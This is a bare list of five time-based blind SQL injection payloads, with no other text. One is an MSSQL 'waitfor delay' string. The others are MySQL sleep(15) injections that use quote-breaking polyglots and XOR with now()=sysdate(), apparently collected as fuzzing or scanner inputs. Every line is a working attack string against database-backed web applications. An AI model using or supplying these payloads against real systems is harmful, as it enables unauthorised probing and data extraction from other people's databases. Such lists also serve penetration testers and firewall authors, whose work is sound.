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-1; waitfor delay ‘0:0:15’ —

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(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

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0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

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0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

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if(now()=sysdate(),sleep(15),0)